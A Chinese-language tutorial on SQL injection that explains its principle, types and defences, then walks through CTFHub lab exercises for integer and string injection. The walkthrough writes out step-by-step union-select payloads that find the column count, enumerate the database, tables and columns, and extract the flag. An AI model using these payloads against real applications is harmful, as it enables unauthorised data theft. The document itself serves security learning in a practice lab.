SQL注入基本知识
1.SQL注入简介
SQL注入是指攻击者通过在应用程序的输入中插入恶意的SQL代码,从而绕过应用程序的验证和过滤机制,进而执行非法的数据库操作。攻击者可以通过SQL注入获取敏感信息、修改数据甚至控制整个数据库。
2. SQL注入的原理:
SQL注入利用了应用程序对用户输入的不正确处理。当应用程序没有对用户输入进行充分验证和过滤时,攻击者可以通过构造特定的输入来改变原始SQL查询的语义,从而执行恶意操作。
3. SQL注入的类型:
①按数据类型分类
数值型和字符型
字符注入如id="$id",若id传入1 and 1=1,则id="1 and 1=1"执行报错;
数值注入如id=$id,若id传入1 and 1=1,则id=1 and 1=1 正常执行;
②按页面返回结果分类
基于错误显示的注入/报错注入
union类型的注入/联合注入
布尔类型的注入/布尔盲注
基于时间的注入/延时盲注
多语句/stack注入
③按照数据提交的方式进行分类
GET注入:注入点的位置在GET参数部分
POST注入:注入字段在POST数据中
Cookie注入:注入字段在Cookie数据中
Refer注入:注入处为搜索的地点
UA注入:注入点在HTTP请求头部的某个字段中
4. 防御SQL注入的方法:
- 使用参数化查询或预编译语句,确保用户输入不会被解释为SQL代码。
- 对用户输入进行严格的验证和过滤,包括输入长度、类型、格式等。
- 最小化数据库用户的权限,避免使用具有高权限的数据库账户。
- 定期更新和修补应用程序和数据库的安全补丁。
CTFHub实操
1.整数型注入
根据提示,输入1
再输入2-1,查询结果为1,说明存在整数型注入
尝试1 and 1=1和1 and 1=2,回显未报错,说明and没被过滤
尝试1 or 1=1和1 or 1=2,回显未报错,说明or没被过滤
使用 order by判断列名
1 order by 1,2
1 order by 1,2,3
测试发现有两列
使用union select判断注入点
-1 union slect 1,2
爆数据库
-1 union select 1,database()
爆表名
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)
爆字段
-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)
爆字段内容得到flag
-1 union select 1,(select flag from sqli.flag limit 0,1)
2.字符型注入
输入1,正常回显
输入1',判断是否为字符型注入
使用#将 ' 注释掉,正常回显
判断列数
1' order by 1,2,3#
发现报错,减少一个列
1' order by 1,2#
正常回显,可知有两列
判断注入点
-1' union select 1,2#
爆数据库
-1' union select 1,database()#
爆表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
爆字段内容得到flag
-1' union select 1,(select flag from flag)#